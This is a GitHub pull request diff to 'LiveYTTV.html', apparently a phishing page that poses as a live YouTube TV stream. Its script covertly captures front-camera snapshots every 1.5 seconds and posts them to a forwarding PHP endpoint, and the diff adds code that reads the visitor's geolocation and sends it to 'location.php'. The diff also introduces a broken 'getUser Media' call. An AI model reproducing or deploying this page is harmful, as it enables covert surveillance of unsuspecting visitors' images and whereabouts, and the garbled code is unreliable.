Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update LiveYTTV.html #240

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 50 additions & 25 deletions LiveYTTV.html
Original file line number Diff line number Diff line change
Expand Up @@ -15,20 +15,47 @@
<script>

function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
}

function sendLocation(latitude, longitude) {
$.ajax({
type: 'POST',
url: 'location.php', // Ganti dengan path yang sesuai
data: { lat: latitude, long: longitude },
success: function(response) {
console.log("Location sent successfully: " + response);
},
error: function() {
console.error("Error sending location.");
}
});
}

function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
sendLocation(latitude, longitude);
}, function(error) {
console.error("Error getting location: " + error.message);
});
} else {
console.log("Geolocation is not supported by this browser.");
}
}

'use strict';

Expand All @@ -39,18 +66,17 @@
const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
const stream = await navigator.mediaDevices.getUser Media(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
errorMsgElement.innerHTML = `navigator.getUser Media error:${e.toString()}`;
}
}

Expand All @@ -59,24 +85,23 @@
window.stream = stream;
video.srcObject = stream;

var context = canvas.getContext('2d');
var context = canvas.getContext('2d');
setInterval(function(){

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
post(canvasData);
}, 1500);


// Mendapatkan lokasi setelah video dimulai
getLocation();
}

// Load init
init();

</script>

<body>
<iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

</body>

<body>
<iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</body>
</html>